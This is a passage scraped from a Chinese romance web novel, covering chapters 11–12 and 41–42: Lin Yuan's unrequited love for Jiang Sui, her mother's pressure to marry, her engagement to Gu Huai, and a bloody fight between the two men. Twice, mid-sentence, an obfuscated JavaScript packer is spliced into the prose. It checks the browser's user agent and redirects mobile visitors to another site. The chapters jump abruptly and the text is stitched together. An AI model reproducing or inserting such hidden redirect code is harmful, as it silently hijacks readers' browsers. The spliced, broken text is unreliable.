眼底看不出情绪,唇角却仍挂着笑意,戏谑的语气:“接个电话的功夫,又不开心了?” 说完,他看见她马尾落在颈窝里,想起她怕痒。 他抬手,想把那一撮发尾拿出来。 林鸢默不作声地后退一步,撇清关系的意味十分明显。 落空的手指微蜷,收回来,垂到身侧。 他突然有些烦躁,特别烦躁。 就像他不明白毕业时为了那么点儿小事,林鸢就能整整一年不联系他一样。 那样毫无交集的状态,和此刻某种事态无法掌控的迷惘感,都让他有莫名的,不愿面对的窥不见底般的不安。 叫人烦躁至极。 无名心火上涌,江随面色淡下来,不凉不热的语气,问她:“林鸢,你真没完了是吧?” 11. 第 11 章 林鸢有片刻的怔愣,随即眼底不受控地一酸。 而后,又对自己这样没道理的矫情嗤之以鼻。 没人规定江随在她面前,就得永远迁就她哄着她。 是她过分地,自视甚高了。 所以射击场里那一刻的江随,才是他真正的性子吧。 游刃有余的,高不可攀的,天之骄子。 射击场里出的一身薄汗,被风一吹,林鸢这会儿才觉得冷。 江随也不知道哪里来的无名火,头一回对她有些口无遮拦。说完,有些后悔,又有不想面对的莫名情绪翻滚,搅得他心烦意乱。 俩人都像骄傲的孔雀,昂着高贵的自尊,不想低头。 但最终,还是他见不得她眼眶一圈晕红的模样。微偏头,胸腔压制地起伏,江随低出了一口气。 “行了。”他嗓音放得低,低到有些轻微的哑,伸手,将她淤在颈窝里发尾捞出来,耐着性子,哄小孩儿似的语气,“你自己说,我哪次不是为你好?” 林鸢脑袋嗡地一声,甚至忘了去躲,只想笑。 他就是用这句“为你好”,让她一次又一次地,以为她在他的世界里,有多么重要,有多么与众不同。 也正是因为那两次“为你好”,才让她在高一期末分班时选了理科,又在高三出分时填了北理。 天知道她一点都不喜欢理科! 天知道她对数学没有半点兴趣!! 林鸢多想对他大喊: 别为我好!也别对我好!因为这样,我会心甘情愿地让你左右我的感情,规划我的人生! 因为…… 我喜欢你。 可她不能。 因为这样,就天然地落了下风。 她只有站在“朋友”的立场,才有来去自由肆无忌惮的资格。 于是她说:“我就爱相亲。江随,你少他妈管我。” - 酒吧里,灯光摇曳,乐声隆隆。 男男女女欢作一团。 “哥,谷斯嘉可不是我喊来的啊。”沙发里,坐在江随身边的庞浩然倾身给他加了点酒,头大地说,“偏要跟来,说帮知希看着点儿,免得你被什么不三不四的狐狸精勾搭走了。” “我看她是自己挺想不三不四的。”庞浩然看见举着手机假装自拍,不时朝他们这个方向晃镜头的谷斯嘉,无语地说。 江随靠着沙发没动,笑了笑,不甚在意。 庞浩然有点儿纳闷。他知道江随有随叫随到的兄弟,而他这边组的局,江随十次愿意来个一两次就算是给面子了。 他以为江随今天心情不错才愿意来,但这会儿看着,又不太像。 于是试探着问:“你和知希,到底怎么回事儿?” 两家也算是世交,俩人也都是一个大院长大的,要真有想法儿,两边大人大概也乐意。 江随瞥了他一眼,懒洋洋的:“什么怎么回事儿,能是那么回事儿?” 得,这两位分分合合这么多年,大概是连他们自己都分不清到底算怎么个事儿了。 庞浩然没再问,招呼他喝酒。江随倾身,拿过茶几上的酒杯,和他碰了碰。胳膊肘支在膝盖上,酒液晃在手里,没入口。 今晚这场酒局是庞浩然组的。 其实李想也叫他去了。叫上了俩人的共同好友,晏峋和沈确。但江随想了想,推了。 没别的,他知道李想组那局是为了什么。陪某个刚离婚的男人买醉。 如果是先前,他一定是会去的。毕竟上一位离婚的时候,大家都去了。 但今天,他没来由地就有些抗拒。 因为他还清清楚楚地记得,半年前那天晚上,一开始还神色无谓的沈确,喝醉后蜷在沙发里。 李想以为他睡着了,想把他扶起来,背他回去。结果,他压在脸上的手腕,却怎么也拉不开。 江随不知道,是不是酒吧里乐声太重,震得往日高大英挺的男人,肩线克制不住地轻颤。 闷隆隆的喧嚣里,好像还能听见某种困兽似的,低低的呜咽。 像落在雨里,无家可归的,被抛弃的狗。 他突然有点儿……见不得那样的场面。 庞浩然见他不喝,又见周围一圈儿人里带来的女伴,不止一个跃跃欲试虎视眈眈,也不知道为什么,就突然挺想问“那你和林鸢呢?又算怎么个回事儿”的。 他和林鸢江随同班了七年,许多林鸢没见过的江随,他也见过。 大学快毕业时,江随会为了阻止林鸢答应和人谈恋爱,特意设了个小局,搅黄了那事儿,那如今林鸢和人相亲呢?他又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14769066|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意了? 其实不光那次林鸢知道的,还有不少次林鸢不知道的,江随也给她解决了。 正想着,就有人过来问了他不敢问的问题。 “随儿啊,我听说你高中的那个同桌,最近在疯狂相亲?”男人端着酒杯过来,明显高了,一屁股坐下,说话都不经大脑的样子,“每一部新上的大片儿,都是和不同的男人看的。你说好不好笑?好不好笑!” 这人从前也是一中的,比他们高两届,后来出国镀了个学历。同是这个圈子的,又比他们大,平时看着还成,喝高了就没谱,跟江随就有点儿随意。 庞浩然拼命给他使眼色都没用。 江随微顿,某个人的某句话在脑子里一闪而过,手里威士忌的沁凉隔着玻璃冰了下指节。 庞浩然以为江随会不给面子地冷脸,怕场面不好看,都准备把人撵走了,就看见江随晃了晃手中酒杯,不屑般地,无谓轻嗤道:“谁会看得上她。” - 晚上洗完澡的林鸢,收到用庞浩然的微.信,发来的两段视频。 一条里,男人被醉酒的旁人调笑,提到了她。他也给予了回应。 还有一条,俊男靓女,十分养眼。 对于那句话,林鸢倒是有些麻木了。 反正,她也不是头一回听。 反倒那一小段影影绰绰的视频,叫她有些新鲜。 自虐般地,反复看了许多遍。 光怪陆离的欢乐场,身材姣好的女人端着酒杯靠近,笑颜娇美,小意妖娆。 侧过身,一手端着酒,一手撑着沙发靠背,洋红色的短裙下摆撩着身下男人西装裤的面料,要坐不坐的,等人邀请。 而那位既像捕手,又像猎物的男人,脖颈后仰,勾了抹笑,靠在沙发上。微敞的黑衬衣领口里,白皙漂亮的喉结微滚。红唇潋滟,调.情般,等人喂酒。 酒吧昏乱光线下,他完美骨相艳丽,绮靡得叫人恍惚。无需刻意布局,画面就仿若电影质感般旖旎。 胸腔里某处,好像狠狠被人捏住,反复挤压。阵阵闷痛,压得她呼吸都不畅。 喉头滚烫,林鸢垂眼,鼻腔里气音似的嗤笑了声。 她知道他玩儿得花。 却不知道,原来在她看不见的地方,他笑得那样风情万种。 12.第 12 章 沙发里,男人勾着笑,仰面随意地靠着,头却侧了侧,示意她下来。 女人一手撑着沙发靠背,一手拿着酒杯,齐腿的裙摆荡在他西裤上方。 幸好平时有练,不然这种高难度的核心力量活儿,还真不好掌控分寸。 她知道江随的意思,没兴趣,没兴致,别来烦他。 但她有点儿不死心。 这种机会,实在太难得了。 就算江随没有这样的家世背景,没有如今自己就能掌握操控的资本和财富,她也有兴趣。 这种男人,就是你明知谁都收不拢他的心,又偏偏想试试深浅,看看自己,能不能是那个特例。 更别说这身材样貌,和她搭过戏的男星,就没两个能比的。 谁说女人没有征服欲。 这不比她演两部女主剧,伺候几个老男人来得有挑战? “江少。”甜腻腻地绕了声,娇得浑然天成。 男人脸上的笑意仍挂着,却耷着眼没看她,唇角浅浮一声:“滚。” 仍是笑着说的,低淡一个音节,却叫她浑身一僵。 喉间发紧,女人心脏都要跳出来。进退两难,看见庞浩然皱着眉偏了偏头让她走,赶紧撑住自己的重量,腾空着从压根没坐下去的江随腿上下来。 带她来的男人赶紧过来,站到一边,弯腰倒酒赔笑道:“二公子,您别生气,这姑娘第一次来这种场合,不懂规矩。” 庞浩然嘴角都一抽。 这都多身经百战的老油条了,还不懂规矩?要不是他从小跟着江随屁股后头,江随被陆靖哥收拾的时候,他也没少跟着受惠,时刻谨记“有分寸”三字箴言,他都想说难听话。 以为塞个女明星给江随,就能跟陆家搭上关系了? 这年头的资本家到底有没有逼数,行事前就舍不得花几个钱先打听清楚情况? 空气里没了脂粉味儿,江随倾身,拿过茶几上的酒杯晃了晃,没看来说话的男人,自顾自仰头,灌完了杯子里的酒,站起身。 周围人也没觉任何异样,仿佛他本该如此。 庞浩然见他要走,忙放下酒杯也跟着站:“不玩儿了?要不我叫她们……” “不用。”江随笑了笑,懒散无谓的语气,“困了。” - 卧室外,客厅里,曾友安又在因为她屡战屡败的相亲战绩发飙。 暴躁的,超雄般的男声,伴随着掼摔硬物的动静。沉默的、仿若消失的父亲,讨好的、极尽安抚的继母。 房间里,林鸢还盯着屏幕暗掉的手机,像在发呆。 房门再次被敲响。 林鸢知道,她躲不掉的。 深深呼吸了一口,林鸢闭上眼睛,狠狠按了下脸,起身去开门。 又是和先前差不多的开场白,林鸢坐在床沿儿边。 又有新货色了。 这次的好像还不错。是曾湛英老同事的儿子。今年29,在一家银行做客户经理,年龄相当,学历匹配,知根知底。 林鸢动了动有些发木的脖子,扬开个笑,问郑敏:“妈妈,我可以不去吗?” “鸢鸢,听话,女人这辈子,不就这么回事吗?”郑敏有些认命地说。 林鸢最听不得她讲这些,可偏偏又有种不知从何处反驳,或是说如何向她解释都没用,一拳打在棉花上的无力感。 林鸢看向她,突然很想问:“妈妈,你爱爸爸吗?” 郑敏一滞,随即扯开个勉强的笑:“什么爱不爱的,小孩子胡说什么呢。” “小孩子不结婚。”林鸢笑了笑,孩子赌气般。 郑敏哭笑不得:“你这孩子。” 林鸢默了下,动了动指节,深深地掐住掌心。麻木的痛意,让她清醒了些。决定还是,要为自己争取一下。 “妈妈,”她抱住郑敏胳膊,妄图像小时候撒娇一样,和母亲讨价还价,“我好好工作,我搬出去住,再多交些生活费给家里好不好?我工资还能涨的,我还有副业外快,说不定攒几年就够一套小房子首付了,我真的、真的不想现在就结婚。” 郑敏微顿,下意识地撇过头,不去看她的眼睛,声线有些飘。 她说:“鸢鸢,不要让妈妈难做。” 林鸢蓦地怔住,鼻腔猛地一酸。 像深海里溺水的人拼命挣扎呼救,却看见唯一行径的邮轮,吃着深水隆隆而过。 她知道自己已经快没有力气了,也知道错过这艘邮轮,意味着什么。 一恍神,她忘了挣扎的本能,迅速沉底。 铺天盖地的窒息感袭来,林鸢突然不合时宜地想起高三毕业那个暑假,她拿到北理通知书的那天。 第一个分享喜悦的是妈妈,紧接着的,是江随。 她将那封,明明确确和他同系的录取通知书拍下,传给他看。 又鼓起勇气表示,为谢他半年有余的竭力辅导,要请他吃饭。 她早早买好了隐形眼镜,在家对着镜子练习,戴到眼泪汪汪,终于克服本能,看见异物袭来不再眨眼。 那双漂亮的大眼睛,也终于不用再躲在镜片后面。 她看着镜子里那个摘掉眼镜,也能望见清澈眼神的自己。 她想,她这次,终于有一点资格,说出那句话了吧? 她等了一个下午消息,等到傍晚,快要错过晚饭。 她终于等不及,给他拨去电话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14773333|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 电话很快被掐断。 手机顶端挂上绿色横幅。 【等我回来。】他回, 【我去英国了。】 韩知希念书的地方。 再一次,他连告白的机会,都没有给予她。 是她忘了,程灵素再聪明、勇敢、仁义,胡斐在她身边时,也只会藏着袁紫衣的玉凤想: 如果这时在我身畔的,不是这个瘦瘦小小的姑娘。 ………… 那个夏天的许多瞬间,林鸢都会反复问自己:努力学习、努力变好看、努力靠他更近,对她这样的普通人来说,真的有意义吗? 就像小时候玩过的九连环,即使偶有交集,即使曾经靠得再近,他们也从未属于过同一个圈层。 后来进了大学,毕业得到工作,林鸢又觉得,那些还是有意义的。否则她也去不了北理,也不能在毕业第一年,就有18万年薪的工作。 可现在这个世上和她最亲近的,她最爱也最在乎的人,似乎又在提醒她:这些都没有意义。 因为学历、工作、薪资、未来的发展……都没有找个人嫁掉,让全家人省心,来得重要。 林鸢向来不是那种,会因为他人三言两语内耗的人,可她却做不到,面对自己在乎的人爱的人,面对他们的回避与否定,还能无动于衷。 她在心里委屈地哭泣,愤怒地咆哮,大声地质问:你们真的爱我吗?! 像我爱你们一样,爱我吗? 但她闭了闭眼睛,像18岁那年的暑假一样,无声又平静。 “妈妈不是叫你随便找个人就嫁,多接触接触,总会有合适的。”郑敏伸手过去,轻轻拍了拍她手背,有些试探的、讨好的语气,“你说呢?” 林鸢看着自己的指背,被一双苍老于实际年龄的,女人的手覆盖。听见她说:“鸢鸢,女人总要找个依靠的,妈妈也是为你好。” 喉间一哽。 ——“鸢鸢,妈妈答应接受赔偿,也是为你好。” ——“鸢鸢,妈妈把你留在外婆家,也是为你好。” ——“鸢鸢,妈妈嫁给你曾叔叔,也是为你好。” ………… 她不需要依靠谁,但她晓得,妈妈也是为了她好。 林鸢先前向来认为,就算江随不喜欢自己,她也不会用“随便找个人结婚吧,和谁结不是结”这样的胡话来困住自己。 可现在…… “嗯,我明白的妈妈。”她看向郑敏,牵起嘴角,反倒安抚地冲她笑了笑,异常平静道,“那您帮我安排吧。” 或许她能像路遥一样幸运也未可知。 况且,她好像也没有非要拒绝的理由。 40-50 第41章 第 41 章 “阿鸢,你为什么不帮我…… 求婚的第一个周末, 顾淮就带着林鸢一道,去挑了她喜欢的婚纱款式。 出门纱、户外仪式纱,还有晚宴纱。 量了合适的尺寸, 订好了工期。等出成品, 再来试穿。 出了婚纱店, 顾淮歪头看她越来越长的黑发, 突然想到什么问:“你要不要再订两条旗袍?敬酒和送宾的时候可以穿。” 顾淮这样一提醒, 林鸢一下想到了宋朝欢。 一中从前有周五自由服装日, 她见宋朝欢穿过一两次。惊艳询问下,才知道是她自己做的。 后来不知道什么原因, 可能是觉得太招人, 有些不好意思,她就没再穿去学校过。 但林鸢当时就觉得很漂亮, 极好看。 先前也听李想说, 宋朝欢如今离婚后, 在杨梅胡同开了家旗袍行。 林鸢想了想,她们女孩子之间的交往, 没必要因为男人有什么避讳。 于是笑起来,点头:“好啊,我知道一个地方, 我们去看看。” 林鸢最终因为工期的原因, 就订了一件,准备留着当敬酒服。 全手工制作的古法旗袍, 林鸢选了葵扇黄底色的软绸, 衣襟和下摆绣两枝攀缠的金木犀。 宋朝欢草草画了个图样给她,她就已经很喜欢。 出了旗袍行,顾淮问她:“为什么不多订两件?” “我同学不是说了吗?”林鸢晃着他的手, “工期只来得及做一件呀。就这,还是因为我们认识,她得加班加点了。” 顾淮笑,偏头看着她说:“那你就不能等以后,剩下的只穿给我看?” 说完,林鸢只觉得自己指节被他不怀好意地捏了捏。 大马路上人来人往的,林鸢一下被他弄得脸热又没脾气,没好气地说:“美得你!”- 国庆长假,林鸢和顾淮一道去了滇省。 踏进熟悉的,但空无一人的民宿时,林鸢只想对顾淮说:富二代这样创业,赚不到钱也是应该的。 顾淮只安排了一日三餐的厨师和打扫,其余时间,偌大的客房、餐吧、院子,属于民宿的那一截空荡荡的湖滩,都只有他们两个人。 晚上,他们在院子里看露天电影。 林鸢挑了部很早之前就看过的动画电影,《哈尔的移动城堡》。 她不知道是不是从前年纪小,有的地方没看懂,还是记忆有些模糊,就想再看一遍。 但没多久,就被夏天遗留的漏网之蚊叮得身心疲惫。 也不知道什么时候咬的她,无声无息的,竟然没咬顾淮。 林鸢靠着沙发抱着抱枕,歪着脑袋开始挠脖子。 “怎么了?”顾淮问她。 “被蚊子咬了。” “我看看。” 林鸢听话地仰头,问他:“有什么止痒的东西给我抹点儿吗?” 顾淮也不知道是她这模样和平日比,实在太乖了些,还是夜色里,女孩子白皙修长的脖颈微扬,仿佛一场无声的邀请。 喉结轻滚,长睫颤了颤,他下意识地低头,在她挠出浅淡红痕的地方吻下去。 温热的唇。瓣和湿。濡的吻,在颈侧薄细的皮肤上辗转,迅速激起一阵细微的颤。栗。 几乎是无意识地闭上眼,指节攀上他脑后,在他浓发间穿过。 亲吻何时成了两个人的事,无人知晓。 一切发生得自然又热切。仿若不远外起潮拍滚的 水浪,同湖岸砂砾互相浸润、濡染。 所有的理智,似乎即将淹没进深蓝色的,涨潮的湖心。 直到顾淮蓦地停了动作,退开,哑着声对她说:“你克制点儿。” “……?”林鸢掌心还摁在他紧实的腰背薄肌上,手心下皮肤一瞬间变得烫手起来。 一句倒反天罡的控诉,叫她情。动都退了几分,微扬眉,张着嘴无声“我”了下,震惊而无言地问他:怎么个意思?怎么还成我欲。行不。轨了是吧? 顾淮低头,一手托着她后脑勺,抵着她颈窝笑。 林鸢咬牙拧他胳膊。 顾淮笑得更厉害了些,平息了会儿,才抬头,轻声说:“我就想等我们领证那天,婚礼那天,晚上在自己家。”低头亲了亲她唇角,笑意低浅,“在我们两个,自己的家。” 俩人先前聊过,顾淮一直很好奇,为什么领证这么郑重的事,不和婚礼这样盛大的场合放在一起。 两个人白天领证,傍晚婚礼,晚上名正言顺,举行一场人类生命的和谐律曲。 林鸢起初被他问得一愣。 只想说:对哦,领证这么郑重的事情,为什么不和婚礼放在一起呢,多有意义。 后来转念一想,只想冲他翻个白眼:“你以为大家都不用上班吗?领证只能工作日,还能请个假,但婚宴不是节假日,才更多人有空吗?做老师都没让你有牛马天然的觉悟!”差点被他带歪。 顾淮被她怼得直乐,又说:“那我们就周五领证,晚上请大家吃饭。” ………… 林鸢其实觉得,情侣之间顺其自然有点儿亲密行为,很正常,做好措施就OK。 但被人珍视,总不至于不开心。 她翘起唇角,勾着他脖颈往下压了下,亲了他一口,“嗯”了声。 “但有一点,我得证明一下。”顾淮却突然一本正经,又说。 林鸢:“?” “我不是不行。” 林鸢懵了瞬,只觉得被什么坚硬物体抵了下。 脸一下燥红,没好气道:“你起开!” 顾淮笑,亲了她额头一下,意味不明地问:“继续看,还是抱你回房间?”- 林鸢对睡懒觉没什么执念,也可能是从小作息还算规律,所以此刻即便休假,起得也不晚。 至于顾淮,他上学时林鸢不知道,但这一年多来比上班族还早的教学生涯,也练就了他早起的生物钟。 早晨九点多,俩人支了一桌早餐,在院子里闲适地进食。 米香四溢,裹着油条和丰富酱汁配料的烧饵块。撒上花生碎辣椒油的浓稠稀豆粉,咸甜鲜香。 顾淮泡了开普洱,倒在小瓷盅里,给她解腻。 木桌上青釉色的长颈瓷瓶里,还插了一支金木犀。 轻闲时刻,隔了一道转廊的小院门,突然被人重重扣响。 敲了两下,像是发现还有门铃,又开始揿起来。 明明是普通不过的铃声,却莫名叫人觉得急切。 俩人微愣,顾淮笑了下,说:“估计是刘昶,也不知道大清早的急什么,我去看看。” 林鸢点头说好,早点消灭得差不多,拿过他新倒的茶喝。 隔着院子里高擎的木棉树和绿植,林鸢隐隐听到开门声。 紧接着,好像有点闷闷的碰撞,又没了什么动静。 直到重新进来的急促脚步声,越来越近。 林鸢以为是顾淮进来叫她换件衣服,再放刘昶进来。 于是背对着外面的她边问,边笑着拧过身:“是刘昶吗顾淮?” 在看清来人的那一刻,林鸢笑意顿在唇角。思维有一瞬间的停滞,迷茫、困惑,又夹杂着没来由的心慌。 她不知道,沉寂安静了这么久的江随,为何会突然出现在这里。 明媚晨光下,女孩子套了件鹅黄色的扎染吊带连衣裙,从衣领口、锁骨处,一路攀延的凌乱红痕,在白皙脖颈上刺目惊心。 她肩膀上松松垮垮,罩了件男士白衬衫。 她和来开门的人,在这座无人打扰的院落里,做了什么? 一切似乎不言而喻。 江随都不知道,在他离开的这段时间,到底发生了什么。 他只晓得,他满怀忐忑与欣喜,憧憬与期冀回到北城,去找林鸢时,林鸢的妈妈这样告诉他:我们鸢鸢,和未婚夫去滇省拍婚纱照了。 他为了早一点过来见到她,搭了昨天下午最早的转机。 北城到滇省的这十多个小时,仿佛成了他这一生最难熬,最漫长的一夜。 在来的一路上,他都镇定地告诉自己,什么未婚夫妻,什么月底就要举办的婚宴,这只是大家的一场误会。 否则,怎么会没有任何人来告诉他即将到来的一切? 所以,没事的。只要他见到林鸢,见到林鸢就好了。 而此刻,他已经再也没有办法自欺欺人。 江随只觉得,亲眼看见自己全身每一块骨骼,被拆解、分割,连着殷红淋漓的皮肉,扔进强蚀的溶液里。 疼得他脑袋里有尖锐长啸后消音似的嗡鸣,疼得他宁愿车祸时的恐惧、苏醒时的痛感重新将他淹没。 疼得他像条沉底的鱼,终于被人抽干了最后一滴水汽,没了任何喘息的余地。 疼得他,想毁了眼前一切。 但是,这世上还有美好的、叫人向往的东西存在不是吗? 譬如,只要她回到他身边,刚刚那样生动的笑容,就属于他了。 于是他极尽所能地调整好自己的状态,走上前,克制着细微的颤抖伸出手。 “阿鸢,我有很重要的话向你说。”他低头看着她,小心翼翼,想触碰她体温,话音柔和,问她,“你先和我离开这里,好不好?” 男人指节冰凉得像失了温,仿佛某种冷血动物,在她脸颊皮肤上抚摩。 因为那阵凉意,林鸢本能瑟缩了瞬,拧着身子蹙了下眉,下意识躲避。却忘了上半身卡在桌椅之间,也只能稍往后靠,背一下抵住桌沿。 江随本以为,方才那一幕,已经足够叫人崩溃。可似乎,刚刚那点疼痛,并非极限。 因为她躲开他,因为她根本不看他。她望向他身后,见到他,问的第一句话却是:“顾淮呢?” 江随眼底蓦地一烫,只觉得自己心脏都要被撕开。 明明站在她面前的,是他啊。她为什么不回答他的问题?她为什么,要想着别人? 他极尽努力地,调整到最好的状态来见她,她为什么不看看他? 没有好的位置,蜷曲僵直了一整夜的胫骨,此刻站在她面前,折裂处仿佛又开始阴阴作疼,叫人站立不稳。 顾淮开门后,见到门口站着的是江随,也有一刹那的怔愣。 他和林鸢一样,原本以为江随早就放弃。毕竟圈子里的江少爷,出了名的风流。 顾淮手撑着院门,没放他进去。 盯着他,想看看他到底要做什么。 可没想到,他还没开口问什么,江随视线在落到他下颌几乎看不清的牙印时,看他的眼神,仿佛是他欺负了林鸢。 竟毫无预兆,骤然一拳挥了上来。 顾淮没料到竟有这样逆天行事的人。生生受他这一拳的瞬间,眼前和脑袋都有片刻发黑。 他本能后退了几步,剧烈的疼痛一阵叠着一阵传来,窒得他微蜷身,盲视地撑住自己没倒下,声音都发不出。 直到稍缓过来些,紧跟着进来,就看见江随的动作。 “江随,你他妈给我 手拿开……” 顾淮憋着火去扯他手臂,下一刻,江随却猛地回身,一把扯住他衣领,拳头与掼摔一起落下。 这一次,顾淮早做了准备。 两个高大如成年猛兽的男人,毫无规则地,挥发着原始兽性,厮打在一起。 “江随!你住手!”林鸢猛地站起来,椅背应声跄地。 她用力地去拉扯他们,却丝毫无济于事。 空气里挥发开黏腻的血腥气。 已然分不清是拳头与骨骼的撞击,还是骨肉和青砖石在碰撞。 一片混乱中。 精巧工致的长颈青釉瓶,划开空气。漂亮的瓶身于猛烈的撞击下,在男人脑后崩裂成四溅的碎片。 终于,整个世界都安静了。 碎瓷掉落地上的那一刻,不知道是因为太疼,还是因为意外,江随掐着顾淮脖颈的力道,竟蓦地一松。 猛烈的呛咳,伴着用力的一记推搡,江随被掀开,跌坐到了一边。 金木犀掉在地上,清水泅进青砖里。 林鸢死死捏着手心里长颈瓶残破的一截,大口喘着粗气,胀着眼眶,看着眼前荒唐的一切。 或许是拼尽了全力,或许是因为紧张与愤然,林鸢只觉得挥出这一下后,整个人都僵硬而麻木,微微发抖。 直到侧蜷在地上的顾淮,呛咳声平息了些,她才反应过来,她要赶紧去看看他。 可经过江随身边时,手腕却蓦地被人抓住。 脚步僵滞地一顿,林鸢压抑着喘息,低眼看过去。 他坐在地上,同那回求她原谅,被她推倒在地一样,抬头仰视她。 在她看向他时,仿佛因为她的注视,得到了些许快乐,嚅了嚅唇角,很轻地笑了声。 “阿鸢,”而又在叫出她名字时,眼眶陡然一红,执拗地,哽哑陈述道,“你从来,都是帮我的。” 像个被玩伴抛弃的小孩,用最大的毅力克制着哭腔,死死攥着她手腕,迷茫而惶惑,颤声问她, “你为什么,不帮我了……” 第42章 第 42 章 “你能不能,再给我一次…… 林鸢怔忡定在原地, 因为他这句话,被他拽住的手腕,微微发抖。 她这才发现, 手心里还紧紧攥着一截, 忘记扔掉的残瓷。 林鸢低眼盯着他, 用劲抽开手, 扔了那截瓷瓶, 让它碎得更彻底, 低道:“江随,我没那个义务。” 江随不知道, 是他刚刚拳头砸到了青砖, 指节因为迟来的疼痛有些无力,还是因为她的眼神过于陌生, 一个错神, 拳虚握了瞬, 她就已经走向了顾淮。 他看着她蹲下来,小心地伸出胳膊, 想碰碰他脸上伤口,又担心地缩回手,问他:“疼吗?” 江随心脏骤然一缩, 只觉得有人将他心口紧紧捏住, 坐在原地,笨拙地蜷了蜷指节。 他想去摸一下有些麻木的脑袋, 低头又发现连手, 好像也不知道什么时候,被地上的碎瓷划破。 或许是瓷器裂口过于锋利,他起初没有察觉, 又或许是这点疼痛淹没在别的感受里,叫他此刻才发现。 就好像他之于林鸢的感情,裹挟在过多的,他自己都没办法面对的过往和情绪里,以至于他将她推开时就已埋下的伤口,此刻亲眼目睹淋漓的鲜血,才察觉疼得搅海翻江。 顾淮本想说没事,但余光瞥见江随神色,又觉得没有逞强的必要。 于是他说:“挺疼的。” 顾淮气息有些不稳,嗓子都沙哑。却冲她安抚地笑了笑,“但没事,你陪着我就好。” 林鸢眼泪一下掉出来,低头胡乱擦了下。她不明白江随为什么突然跑来打人,但顾淮,总是无妄之灾。 “能站得起来吗?陪你去医院看看。”她伸手去搀扶他。 江随看着他们,喉间滚着灼烫,眼里热意几乎要落下来。 他嚅了嚅唇,想说什么,又觉得说不出口。 他怕即便说了,林鸢此刻,也会像别人一样拒绝他、无视他。 压着掌心的碎瓷和黏腻,他撑着自己,站起来。 已经将顾淮搀扶起来的林鸢,几乎恢复冷静地看着他:“江随,我不知道你为什么无缘无故打人……” “他欺负你。”话音猛地被他截断。 男人嗓音黯哑,竟有几分难掩的委屈,低喃似的,红着眼眶盯着她,重复道,“他欺负你。” 他欺负你,你却帮他。 林鸢蓦地一窒,情绪有一瞬不稳,又很快平复下去。 她克制着胸腔起伏,看着他,一字一顿,力求稳住自己声线,也叫他听清:“江随,我们是未婚夫妻,做什么,都顺理成章,也和你无关。” “还有,”林鸢平淡地告诉他,“这里不欢迎你,你走吧。”- 林鸢让顾淮坐在院子沙发里,确认他真的没有骨折或头晕想吐的情况,才回餐吧前台去拿药箱。 重新折返的时候,林鸢看着院子里又只剩枝叶的木棉,突然有些茫然。 她上回来时,院子里的木棉花未到花期。 这一回,却是早就过了。 不知道明年,她能不能看到。 她不清楚江随突然来闹那么一出,到底是为了什么,也不想去了解,不想去知道。 她也不是没看见他浑身的伤口……没看见她白衬衣袖口的血迹。 可她只知道,一个人,的确是不能和另一个人,有太多回忆的。 即便她如今对江随,已经没有一点男女之情了,可那些过往的片段,却仿佛只需要一句话,几个字,就能精准无误地,在她面前跃然成鲜活画面。 林鸢从前一直觉得,不管是男人还是女人,在一段关系里,想要不犯错,唯一可以成功的方式,就是不要给自己犯错的机会。 因为人性是经不得考验的。 就像她和杜莱开玩笑时说的那样,为什么小说里的病娇偏执男主受欢迎,因为,大概就这种仿佛抽离了一点儿正常人性的主角,才能义无反顾至死不屈地只选择一个人吧。 林鸢低头,自嘲似的轻笑了声,加快脚步往院子里走。 如今,她更坚定了先前,远离江随的生活,将自己摒除在那个男人的圈子之外,是多么必要的选择。 至于今后…… 其实他们两个,连普通朋友也没有必要再做了- 江随不知道自己是怎么走出那处院落的。 像条被人遗弃的犬,跑错了门,以为那里面有自己的主人,却被告之,那不是他的家,也没有人在等他。 可她在电话里,明明……那样关心他,担忧他。 这条小街,已经开始热闹,热闹得让他频频被人侧目。 又或许,只是因为他如今的样子十分可笑。 因为他木然地停在一处尚未开门的咖啡馆前,看着黝暗的厅堂玻璃,映出他此刻的模糊的身影。 额角黏腻的殷红蜿蜒到眉骨上,脖颈里也不知何时有滴落的血渍,沾得白衬衣一塌糊涂。 狼狈又难堪。 可他知道,林鸢从前最喜欢的,就是看他穿白衬衣,却又不要过于正式。 而他们从前春秋季的校服,男生的,就是白色衬衣。 他也曾经穿着校服的白衬衫,在她的见证和帮助下,打赢了生平最狼狈的一架。 那是在她帮了李彤云之后的一个周一。 那个骚扰李彤云的男生,不知道从哪里叫来几个社会青年,难得等到她落单,将她堵在校门外小巷里。 可其实,那天只是因为,在林鸢的悉心辅导下,他月考语文阅读理解还是只拿了5分,她气得扬言和他绝交一个晚上,才先出了校门。 于是等他不紧不慢跟出去,见到的就是五六个男的围堵着一个小姑娘,将她困在墙角。 而听到的却是:“各位大哥,你们知道一中扛把子江随吗?不瞒你们说,他就是我同桌。我要是被人欺负了,他铁定觉得没面子要找回场子,都是朋友,没必要弄得这么难看不是?这里面 是不是有什么误会?我们好好说,要不您先把我手机还我?“让我报个警。 江随扬眉,深深佩服她的能屈能伸。 于是,少年抄着兜,懒散嚣张地在一圈人外问:“谁允许你们欺负我同桌的,问过我了吗?” 那天,不知道是他的目中无人太招恨,还是社会青年和一中学生流传的信息有壁。 总之,那几个高矮壮瘦不一的男人,是真的在把他往残里揍。 而林鸢,早在那几个人改变目标时悄悄跑开。 江随都想“啧”一声这人的不讲义气,直到她又跑回来。 